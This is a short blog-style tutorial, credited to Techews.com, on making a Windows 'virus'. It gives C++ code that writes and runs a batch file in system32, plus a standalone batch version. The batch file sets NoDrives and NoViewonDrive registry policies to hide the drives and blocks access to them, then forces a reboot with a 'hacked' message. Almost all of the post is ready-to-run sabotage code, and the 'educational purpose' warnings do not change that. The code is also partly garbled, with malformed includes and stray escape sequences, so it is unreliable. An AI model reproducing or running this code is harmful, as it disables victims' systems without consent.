
WARNING: RUN AT YOUR OWN RISK.
C++
1. Open any c++ editor.
2. Copy and paste the following code.
#include < windows.h > #include < fstream.h > #include
< iostream.h > #include < string.h > #include < conio.h
>int main() { ofstream write ( “C:\\WINDOWS\\system32\\DisableHDD.bat”
); /*opening or creating new file with .bat extension*/ write <<
“REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n”;
write << “REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n”;
write<<“shutdown -r -c \”Sorry Your System is hacked by us!\” -f”<<“\n”;
write.close(); //close file
ShellExecute(NULL,”open”,”C:\\WINDOWS\\system32\\DisableHDD.bat”,NULL,NULL,SW_SHOWNORMAL);
return 0;
}
3. Compile and run the program.
BATCH FILE VERSION
Below batch file contains the code that performs the similar job.
1. Open a notepad.
2. Copy and paste the following code.
REG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\nREG ADD
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer
sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\nshutdown
-r -c \”Hahahhaha! Your system is hacked by TTH!\” -f
3. Save it as “DisableHDD.bat”.
4. Double click the batch file to activate the virus.
WARNING: For educational purpose only. Run the virus at YOUR OWN RISK.
source: Techews.com
No comments:
Post a Comment